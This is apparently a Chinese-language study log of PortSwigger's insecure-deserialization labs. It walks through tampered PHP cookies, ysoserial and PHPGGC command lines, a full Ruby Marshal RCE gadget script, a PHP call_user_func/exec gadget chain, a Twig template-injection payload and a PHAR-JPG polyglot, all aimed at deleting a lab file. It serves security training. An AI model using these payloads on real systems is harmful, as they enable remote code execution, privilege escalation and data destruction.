介绍
burpsuite官网上一套不安全的反序列化实验(免费)
地址在 https://portswigger.net/web-security/deserialization/exploiting
本文是在这个实验室学习的记录
有针对实验的解决,也有别的一些
如何识别不安全的反序列化
测试不安全的反序列化之前,您肯定要能够识别出序列化对象,下面简略介绍两种语言的序列化格式
以便您能够在遇到它们的时候识别出它们
php序列化格式
PHP的序列化对象是可读的,可以用文本表示的(JAVA的则是二进制流,您无法用文本阅读器查看)
其中字母代表数据类型,数字代表每项的长度
若 User
具有以下属性的对象:
$user->name = "carlos";
$user->isLoggedIn = true;
序列化后,该对象可能看起来像这样:
O:4:"User":2:{s:4:"name":s:6:"carlos"; s:10:"isLoggedIn":b:1;}
解释:
O:4:"User"
- 具有4个字符的类名称的对象 "User"
2
-对象具有2个属性
s:4:"name"
-第一个属性的键是4个字符的字符串 "name"
s:6:"carlos"
-第一个属性的值是6个字符的字符串 "carlos"
s:10:"isLoggedIn"
-第二个属性的键是10个字符的字符串 "isLoggedIn"
b:1
-第二个属性的值是布尔值 true
PHP 序列化的方法是serialize()
和unserialize()
Java序列化格式
JAVA(还有一些别的语言Ruby等) 使用二进制序列化格式
这使人难以阅读,但是序列化数据有一些固定的特征
例如,序列化的Java对象始终以相同的字节开头,它们是 ac ed
Base64下显示为显示rO0
。
如
rO0ABXNyACJkYXRhLnNlc3Npb24udG9rZW4uQWNjZXNzVG9rZW5Vc2Vyc1%2bhUBRJ0u8CAAJMAAthY2Nlc3NUb2tlbnQAEkxqYXZhL2xhbmcvU3RyaW5nO0wACHVzZXJuYW1lcQB%2bAAF4cHQAIEhyUGQ1WVRiYThnb3VMbkZKNE5RSlVNUGFIM0h5ZkUxdAAGd2llbmVy
任何实现该接口的类java.io.Serializable
都可以序列化和反序列化
readObject()
方法 用于从中读取和反序列化数据InputStream
。
操作序列化对象
不安全的反序列化就包括了用户可以对序列化对象进行修改
这可能导致一些越权,代码执行等漏洞
修改幅度有大有小,有的是仅仅修改序列化中的部分字符
有的则是重新生成一个序列化对象,传给网站进行反序列化
在处理序列化对象时可以采用两种方法:
可以直接以对象的字节流形式对其进行编辑,
也可以使用相应的语言编写简短的脚本来自己创建和序列化新对象。
使用二进制序列化格式时,后一种方法通常更容易
修改对象属性
介绍
属于修改幅度较小的清空,仅仅修改属性不会使反序列化报错
也保留了原有对象的结构
举一个简单的例子,考虑一个使用序列化User
对象的网站,该网站将有关用户会话的数据存储在cookie中。
如果攻击者在HTTP请求中发现了序列化对象,则他们可能会对其进行解码以找到以下内容:
O:4:"User":2:{s:8:"username":s:6:"carlos"; s:7:"isAdmin":b:0;}
注意到这里的isAdmin属性,
攻击者可以简单地将该属性的布尔值更改为1
(true),重新编码对象,然后使用此修改后的值覆盖其当前cookie
加入网站用如下代码检查当前用户是否有权访问某些管理功能:
$user = unserialize($_COOKIE);
if ($user->isAdmin === true) {
// allow access to admin interface
}
就可以越权访问某些页面
实验
一个购物网站页面
利用给我们的 wiener:peter
可以登录
登录后查看Cookie,base64解码后为
O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}
尝试修改为(经过尝试需要每一次都修改,burpsuite直接修改cookie值)
O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}
再base64加密,url加密得到
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30%3D
修改后出现了管理盘表
进入后有删除用户的操作
删除carlos用户即通过
修改数据类型
介绍
我们已经看到了如何修改序列化对象中的属性值,修改数据类型有时候也会有意想不到的效果
这种效果可能基于PHP 的弱等于比较 ==
例如,如果在整数和字符串之间执行弱比较,PHP将尝试将字符串转换为整数,即结果5 == "5"
为true
。
这也适用于以数字开头的任何字母数字字符串。
在这种情况下,PHP将根据初始数字有效地将整个字符串转换为整数值。字符串的其余部分将被完全忽略。因此,5 == "5 of something"
在实践中被视为5 == 5
比较0 :
0 == "Example string" // true
因为没有数字,所以字符串中的数字为0。PHP将整个字符串视为整数0
考虑这种松散的比较运算符与反序列化对象中的用户可控制数据一起使用的情况。这可能会导致危险的逻辑缺陷。
$login = unserialize($_COOKIE)
if ($login[\'password\'] == $password) {
// log in successfully
}
假设攻击者修改了password属性,使其包含整数0
而不是预期的字符串。只要存储的密码不是以数字开头,该条件将始终返回true
从而身份验证绕过。
请注意,以任何序列化的对象格式修改数据类型时,务必记住也要更新序列化数据中的任何类型标签和长度指示符,这一点很重要。否则,序列化的对象将被破坏并且不会被反序列化
实验
任务是: 编辑会话cookie中的序列化对象以访问administrator帐户。然后,删除Carlos。
我们登录后的cookie值:
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"XaUdeGmBn1wE6eB0QDcNSze28JC6JGhb";}
用户要修改为administrator,access_token应该是验证身份的
如果将access_token修改为整形,然后值修改为0/1/2/3/4/5/6/7 ...
需要一次次尝试,因为如果与access_token比较的值前几位包含了数字就需要不停尝试,直到比较成功
修改administrator: s:8:"username";s:13:"administrator";
修改access_token : s:12:"access_token";i:0;}
拼接就是
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}
处理后
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjEzOiJhZG1pbmlzdHJhdG9yIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO2k6MDt9
burp抓包改cookie
我们成功以管理员身份访问该网站
成功删除Carlos,过关
利用网站程序功能
除了简单地检查属性值外,网站的功能还可能会对反序列化对象中的数据执行危险的操作。
在这种情况下,您可以使用不安全的反序列化来传递意外数据,并利用相关功能造成损害
例如,作为网站“删除用户”功能的一部分,通过访问$user->image_location
属性中的文件路径来删除用户的个人资料图片。
如果这$user
是从序列化对象创建的,则攻击者可以通过将带有image_location
集合的已修改对象传递到任意文件路径来利用此漏洞。
删除他们自己的用户帐户也将删除任意文件。
实验:
一个BLOG网站
用户页面存在删除账号的选项,我们的任务是删除 Carlos 下的 morale.txt
cookie解码后
O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"ycE1G0NQK93UD06osTkM7OzCOMfSVlT0";s:11:"avatar_link";s:19:"users/wiener/avatar";}
我们尝试通过更改avatar_link来完成任务
更改为s:23:"users/Carlos/morale.txt";
O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"ycE1G0NQK93UD06osTkM7OzCOMfSVlT0";s:11:"avatar_link";s:23:"users/Carlos/morale.txt";}
编码后
Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ5Y0UxRzBOUUs5M1VEMDZvc1RrTTdPekNPTWZTVmxUMCI7czoxMToiYXZhdGFyX2xpbmsiO3M6MjM6InVzZXJzL0Nhcmxvcy9tb3JhbGUudHh0Ijt9
点击delete account
修改数据,发包
并不是我们想象的那样,文件位置找错了 不是 users/Carlos/morale.txt而是 /home/carlos/morale.txt
用备用账号再次尝试
O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"ycE1G0NQK93UD06osTkM7OzCOMfSVlT0";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";}
Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ5Y0UxRzBOUUs5M1VEMDZvc1RrTTdPekNPTWZTVmxUMCI7czoxMToiYXZhdGFyX2xpbmsiO3M6MjM6Ii9ob21lL2Nhcmxvcy9tb3JhbGUudHh0Ijt9
魔术方法
魔术方法是不必显式调用的方法的特殊子集。而是在发生特定事件或场景时自动调用它们。
魔术方法是各种语言的面向对象编程的共同特征。有时通过在方法名称前添加前缀或双下划线来表示它们。
开发人员可以将魔术方法添加到类中,以便预先确定在发生相应事件或场景时应执行什么代码
何时以及为何调用魔术方法的确切方法因方法而异
PHP中最常见的示例之一是__construct()
,它在实例化该类的对象时被调用,类似于Python的__init__
通常,诸如此类的构造函数魔术方法包含用于初始化实例属性的代码。但是,开发人员可以定制魔术方法以执行他们想要的任何代码。
魔术方法已被广泛使用,它们本身并不表示漏洞。但是,当它们执行的代码处理攻击者可控制的数据(例如来自反序列化对象的数据)时,它们可能会变得危险。当满足相应条件时,攻击者可以利用它来自动对反序列化的数据调用方法。
最重要的是,某些语言具有在反序列化过程中自动调用的魔术方法。例如,PHP的unserialize()
方法查找并调用对象的__wakeup()
magic方法。
在Java反序列化中,该readObject()
方法同样适用,其本质上类似于“重新初始化”序列化对象的构造函数。该ObjectInputStream.readObject()
方法用于从初始字节流中读取数据。但是,可序列化的类也可以声明自己的readObject()
方法,如下所示:
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {...};
这使类可以更紧密地控制其自身字段的反序列化。至关重要的是,以readObject()
这种方式声明的方法就像在反序列化期间调用的魔术方法一样
注入任意对象
介绍
前面只是简单的编辑序列化对象,下面的示例将重新生成序列化对象,交给网站执行
在面向对象的编程中,对象可用的方法由其类确定。因此,如果攻击者可以操纵将哪类对象作为序列化数据传递,则他们可以影响反序列化后甚至序列化期间执行的代码
反序列化方法通常不会检查正在反序列化的内容。这意味着您可以传入网站可用的任何可序列化类的对象,并且该对象将被反序列化。这有效地使攻击者可以创建任意类的实例。
该对象不是预期类的事实并不重要。意外的对象类型可能会导致应用程序逻辑中的异常,但是届时恶意对象将已经实例化。
实验
任务是删除 /home/carlos/morale.txt 文件
提示:
登录之后页面:
根据提示,在sitemap下面找到了这个页面
并且加~能读取源码(可参考 https://www.cnblogs.com/zwfc/p/5466885.html )
这是因为 默认情况下使用Vim编程,在修改文件后系统会自动生成一个带~的备份文件,某些情况下可以对其下载进行查看;
eg:index.php普遍意义上的首页,输入域名不一定会显示。 它的备份文件则为index.php~
<?php
// 一个类 : CustomTemplate
class CustomTemplate {
// 两个私有变量
private $template_file_path;
private $lock_file_path;
// __construct 在每次创建新对象时先调用此方法
public function __construct($template_file_path) {
$this->template_file_path = $template_file_path;
$this->lock_file_path = $template_file_path . ".lock";
}
// 判断文件是否存在
private function isTemplateLocked() {
return file_exists($this->lock_file_path);
}
// 获得模板
public function getTemplate() {
return file_get_contents($this->template_file_path);
}
// 保存模板
public function saveTemplate($template) {
if (!isTemplateLocked()) {
if (file_put_contents($this->lock_file_path, "") === false) {
throw new Exception("Could not write to " . $this->lock_file_path);
}
if (file_put_contents($this->template_file_path, $template) === false) {
throw new restore_exception_handler("Could not write to " . $this->template_file_path);
}
}
}
// __destruct() 对象的所有引用都被删除或者当对象被显式销毁时执行
function __destruct() {
// Carlos thought this would be a good idea
if (file_exists($this->lock_file_path)) {
unlink($this->lock_file_path);
//unlink(filename,context) 删除文件的函数
}
}
}
?>
到这可以看出这是一个类,里面重定义了 __destruct()
和__construct
销毁这个类的时候会同时销毁$lock_file_path文件
因为用户cookie值也是序列化对象,
(cookie : O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"PDwDb5OoTsZIi0PbFEHYzzBZCjVN1DET";}
)
在用户退出登录时,cookie的这个反序列化可能被销毁
我们替换cookie这个序列化.替换构造的序列化对象
<?php
class CustomTemplate{}
$test = new CustomTemplate;
$test->lock_file_path="/home/carlos/morale.txt";
echo (serialize($test));
?>
O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}
就会删除CustomTemplate,调用__destruct()方法,从而删除/home/carlos/morale.txt
Gadget chains
后面会了解到,不安全的反序列化通常需要利用一系列东西构造payload,称之为Gadget chains
无法描述2333, 后面可以逐步体会到,这里认识一下
ysoserial
ysoserial集合了各种java反序列化payload;
地址 https://github.com/frohoff/ysoserial
实验: 同样的登陆后,查看cookie
抓包 cookie为
rO0ABXNyACJkYXRhLnNlc3Npb24udG9rZW4uQWNjZXNzVG9rZW5Vc2Vyc1%2bhUBRJ0u8CAAJMAAthY2Nlc3NUb2tlbnQAEkxqYXZhL2xhbmcvU3RyaW5nO0wACHVzZXJuYW1lcQB%2bAAF4cHQAIEhyUGQ1WVRiYThnb3VMbkZKNE5RSlVNUGFIM0h5ZkUxdAAGd2llbmVy
解码
这里都符合之前提到的Java序列化对象的特征
在这个实验中,我们看不到源码了.
那如何构造反序列化呢?
可以用ysoserial这个工具 构造
下载后运行: java -jar ysoserial.jar CommonsCollections4 \'rm /home/carlos/morale.txt\' | base64
(linux下)
也可以
java -jar ysoserial.jar CommonsCollections4 \'rm /home/carlos/morale.txt\' | base64 >1.txt
输出到文件中
有换行可以用word去除换行
这里再用burp全部url编码一下
PHPGGC
PHPGGC 是一款能够自动生成主流框架的序列化测试payload的工具,类似 Java 中的 ysoserial
实验:
再次拿到cookie:
%7B%22token%22%3A%22Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJEY2lDS1ViNDhpQWFPVHRueWFsaDgxWWxBa1BuWkRiQiI7fQ%3D%3D%22%2C%22sig_hmac_sha1%22%3A%2262162ee601099aa31be495f524063ffaf36dea66%22%7D
先url解码:
{"token":"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJEY2lDS1ViNDhpQWFPVHRueWFsaDgxWWxBa1BuWkRiQiI7fQ==","sig_hmac_sha1":"62162ee601099aa31be495f524063ffaf36dea66"}
显然token值也是base64编码
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"DciCKUb48iAaOTtnyalh81YlAkPnZDbB";}
后面sig_hmac_sha1
是一个认证用的,在wp上可以看到
$sig_hmac_sha1=hash_hmac(\'sha1\', $object, $secretKey)
$secretKey
在泄露的phpinfo()页面可以找到
先用PHPGGC生成反序列化对象
./phpggc Symfony/RCE4 exec \'rm /home/carlos/morale.txt\' | base64
然后运行代码算出sig_hmac_sha1
<?php
$object="Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==";
$secretKey="mc7sg11yynpuzdsklnc3d5asvve341qw";
$sig_hmac_sha1=hash_hmac(\'sha1\', $object, $secretKey);
echo($sig_hmac_sha1)
?>
得到 a51cdc29d25e84c375e7dd3d5ba2fec0e231899e
构造:
{"token":"Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==","sig_hmac_sha1":"a51cdc29d25e84c375e7dd3d5ba2fec0e231899e"}
url编码后替换登录后的cookie
Ruby 2.x Universal RCE Gadget Chain
Ruby的一条反序列化利用链,可以执行任意代码
可参考: https://xz.aliyun.com/t/3223
由于Ruby我也没学,就学一下作者找出的利用脚本
改第九行的id,改成要执行的命令,这里我们的任务是删除 /home/carlos/morale.txt ,就改为
rm /home/carlos/morale.txt
#!/usr/bin/env ruby
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")# id改为想要执行的命令
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e \'Marshal.load(STDIN.read) rescue nil\'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack(\'H*\')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
修改后直接运行即可,得到:
BAhVOhVHZW06OlJlcXVpcmVtZW50WwZvOhhHZW06OkRlcGVuZGVuY3lMaXN0BzoLQHNwZWNzWwdvOh5HZW06OlNvdXJjZTo6U3BlY2lmaWNGaWxlBjoKQHNwZWNvOhtHZW06OlN0dWJTcGVjaWZpY2F0aW9uBjoRQGxvYWRlZF9mcm9tSSIlfHJtIC9ob21lL2Nhcmxvcy9tb3JhbGUudHh0IDE+JjIGOgZFVG87CAA6EUBkZXZlbG9wbWVudEY=
依然是url编码后替换登陆后cookie
构造PHP gadget chain
直接进入实验,在sitemap里又看到了CustomTemplate.php
后面加~可以看到备份文件( https://www.cnblogs.com/zwfc/p/5466885.html )
<?php
//四个类.CustomTemplate,Product,Description,DefaultMap
//CustomTemplate类中有三个私有变量, 重定义了__construct(),__sleep(),__wakeup(),
//还定义了一个私有函数build_product()
class CustomTemplate {
//三个私有变量
private $default_desc_type;
private $desc;
public $product;
//当一个对象创建时调用此方法
public function __construct($desc_type=\'html_DESC\') {
$this->desc = new Description();
$this->default_desc_type = $desc_type;
// Carlos thought this is cool, having a function called in two places... What a genius
$this->build_product();
}
//返回一个包含对象中所有应被序列化的变量名称的数组。serialize函数在序列化类时首先会检查类中是否存在__sleep方法。如果存在,会先调用此方法然后再执行序列化操作。并且只对__sleep返回的数组中的属性进行序列化
public function __sleep() {
return ["default_desc_type", "desc"];
//返回default_desc_type,desc
}
//与__sleep相反,是在unserialize函数反序列化时首先会检查类中是否存在__wakeup方法
public function __wakeup() {
$this->build_product();
}
//创建一个Product对象
private function build_product() {
$this->product = new Product($this->default_desc_type, $this->desc);
}
}
//一个$desc一个__construct()
class Product {
public $desc;
public function __construct($default_desc_type, $desc) {
$this->desc = $desc->$default_desc_type;
}
}
//两个私有变量,__construct()
class Description {
public $HTML_DESC;
public $TEXT_DESC;
public function __construct() {
// @Carlos, what were you thinking with these descriptions? Please refactor!
$this->HTML_DESC = \'<p>This product is <blink>SUPER</blink> cool in html</p>\';
$this->TEXT_DESC = \'This product is cool in text\';
}
}
class DefaultMap {
private $callback;
public function __construct($callback) {
$this->callback = $callback;
}
//属性重载,访问不可访问成员的时候会触发,会调用此方法。
public function __get($name) {
return call_user_func($this->callback, $name);
//call_user_func:把第一个参数作为回调函数调用,后面的$name为回调函数的参数
}
}
?>
观察源码,从DefaultMap这个类下手,因为里面存在一个回调函数,我们是否可以想办法构造一个能够执行系统命令的函数,作为参数传进DefaultMap,再序列化利用.
假设我们构造了这么一个序列化对象,那么怎么触发执行我们构造的函数呢?
属性重载,读取不可访问属性时,会调用__get
,从而调用我们构造的函数
属性重载可参考: https://blog.csdn.net/woshinannan741/article/details/50394927
PHP中重载 是指PHP对当前对象的不可访问成员的处理
这里就存在一个误区,不存在这个变量也属于不可访问
而一开始我只关注了私有变量$callback
访问$callback
毫无疑问会触发__get
,访问``DefaultMap->$abcdef`也会触发!
再看整个代码哪里存在访问某个对象属性的操作($this除外的
)
在Product类中$desc是我们可控的 ,在CustomTemplate类里面调用了一次
class Product {
public $desc;
public function __construct($default_desc_type, $desc) {
$this->desc = $desc->$default_desc_type;
}
}
如果我们传$desc =new DefaultMap(),就能达成我们的目的
在CustomTemplate中存在这么两个函数,我们可以在创建一个CustomTemplate对象的时候控制
default_desc_type
和desc
public function __wakeup() {
$this->build_product();
}
//创建一个Product对象
private function build_product() {
$this->product = new Product($this->default_desc_type, $this->desc);
}
}
<?php
class DefaultMap {
private $callback;
public function __construct($callback) {
$this->callback = $callback;
}
//属性重载,读取不可访问属性时,会调用此方法。
public function __get($name) {
return call_user_func($this->callback, $name);
//call_user_func:把第一个参数作为回调函数调用,后面的$name为回调函数的参数
}
}
function callback($a){
echo($a);
}
$test = new DefaultMap("callback");
$a = "hello ,world";
$test->$a;
?>
//输出:hello ,world
创建一个CustomTemplate对象,让$default_desc_type
值为"exec",$desc
值为想要执行的命令,这么赋值为
rm /home/carlos/morale.txt
构造:
<?php
class CustomTemplate{}
class DefaultMap{}
$test1 = new CustomTemplate;
$test2 = new DefaultMap;
$test2->callback = "exec";
$test1->default_desc_type ="rm /home/carlos/morale.txt";
$test1->desc = $test2;
echo(serialize($test1))
?>
O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:4:"exec";}}
TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjI6e3M6MTc6ImRlZmF1bHRfZGVzY190eXBlIjtzOjI2OiJybSAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dCI7czo0OiJkZXNjIjtPOjEwOiJEZWZhdWx0TWFwIjoxOntzOjg6ImNhbGxiYWNrIjtzOjQ6ImV4ZWMiO319
然后抓包改cookie就过了,成功删除/home/carlos/morale.txt
构造JAVA gadget chain
JAVA实在不熟,挖个坑以后填
PHAR反序列化
关于PHAR与PHAR反序列化原理 请参考: https://www.cnblogs.com/zzjdbk/p/13030571.html
实验:
进入实验环境后选择对站点进行爬取
可以发现两个备份文件
Blog.php源码:
<?php
//注册Twing的autoloader
require_once(\'/usr/local/envs/php-twig-1.19/vendor/autoload.php\');
class Blog {
public $user;
public $desc;
private $twig;
//创建一个对象时调用
public function __construct($user, $desc) {
$this->user = $user;
$this->desc = $desc;
}
//当一个对象被当作字符串对待的时候,触发
public function __toString() {
return $this->twig->render(\'index\', [\'user\' => $this->user]);
//渲染模板,将this->user作为值传给index模板的user变量
}
//反序列化时触发
public function __wakeup() {
//定义了index模板,模板内容为$this->desc
$loader = new Twig_Loader_Array([
\'index\' => $this->desc,
]);
$this->twig = new Twig_Environment($loader);
// 加载$loader这个模板
}
//序列化时触发
public function __sleep() {
return ["user", "desc"];
}
}
?>
CustomTemplate.php源码:
<?php
class CustomTemplate {
private $template_file_path;
//当一个对象创建时调用此方法
public function __construct($template_file_path) {
$this->template_file_path = $template_file_path;
}
//判断\'templates/\' . $this->template_file_path . \'.lock\'是否存在
private function isTemplateLocked() {
return file_exists($this->lockFilePath());
}
//获取$this->template_file_path内容(字符串形式)
public function getTemplate() {
return file_get_contents($this->template_file_path);
}
public function saveTemplate($template) {
if (!isTemplateLocked()) {
if (file_put_contents($this->lockFilePath(), "") === false) {
throw new Exception("Could not write to " . $this->lockFilePath());
}
if (file_put_contents($this->template_file_path, $template) === false) {
throw new Exception("Could not write to " . $this->template_file_path);
}
}
}
//某个对象的所有引用都被删除或者当对象被显式销毁时执行。
function __destruct() {
// Carlos thought this would be a good idea
@unlink($this->lockFilePath());
//删除$this->lockFilePath()
}
private function lockFilePath()
{
return \'templates/\' . $this->template_file_path . \'.lock\';
}
}
?>
分析源码之前要知道Twing模板引擎的基本用法:(参考 https://blog.csdn.net/ppxin/article/details/88241105 )
Twing基本API的用法:
//使用Twig的第一步是注册它的autoloader
require_once \'/path/to/vendor/autoload.php\';
//Twig使用加载器(Twig_Loader_String)来定位模板
//这里定义了一个index模板,里面有一个参数name,传lonmar进去会渲染为Hello lonmar!
$loader = new Twig_Loader_Array(array(
\'index\' => \'Hello {{ name }}!\',
));
//Twing使用环境配置器(Twig_Environment)加载具体的配置参数
$twig = new Twig_Environment($loader);
//模板渲染方法render()第一个参数是加载的模板内容,第二个参数是传递给模板中用到的变量
echo $twig->render(\'index\', array(\'name\' => \'lonmar\'));
//输出 Hello lonmar
观察源码,我们从Blog
类重定义的__wakeup()
类开始,(因为有个反序列化)
注意到其中的模板是我们可控的,我们可以加载一个执行我们想要执行命令的模板
再注意到__toString()
我们或许可以用它来渲染我们的模板
在CustomTemplate
中存在__destruct
调用链: CustomTemplate
->__destruct
->lockFilePath()
->unlink()
->phar生效
(这里我也不太清楚emmm,属于个人理解)
贴一个Twing模板注入固定payload
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
这里改为
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}
构造:
<?php
class CustomTemplate {}
class Blog {}
$object = new CustomTemplate;
$blog = new Blog;
$blog->desc = \'{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}\';
$blog->user = \'user\';
$object->template_file_path = $blog;
?>
这里又遇到一个问题,图片上传会检查jpg格式,而Phar反序列化又要保证Phar文件格式正确
GitHub上找了一个脚本,能解决此问题: https://github.com/kunte0/phar-jpg-polyglot
修改部分代码:
运行即可生成一张完美的payload
上传后访问 ~ avatar.php?avatar=phar://wiener即可触发不安全的反序列化,执行命令